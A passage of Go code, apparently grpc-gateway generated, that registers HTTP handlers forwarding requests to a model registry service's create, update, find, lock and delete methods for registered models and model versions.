runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CreateRegisteredModel_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_2(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_3(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateRegisteredModel_4, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_4(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_4(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateRegisteredModel_5, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateRegisteredModel_5(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_5(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteRegisteredModel_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteRegisteredModel_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindModelVersion_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindModelVersion_2(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_FindModelVersion_3(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetModelVersion_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CreateModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CreateModelVersion_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_2(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_3(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateModelVersion_4, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_4(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_4(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateModelVersion_5, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateModelVersion_5(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_5(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_SetLockModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_SetLockModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_SetLockModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, 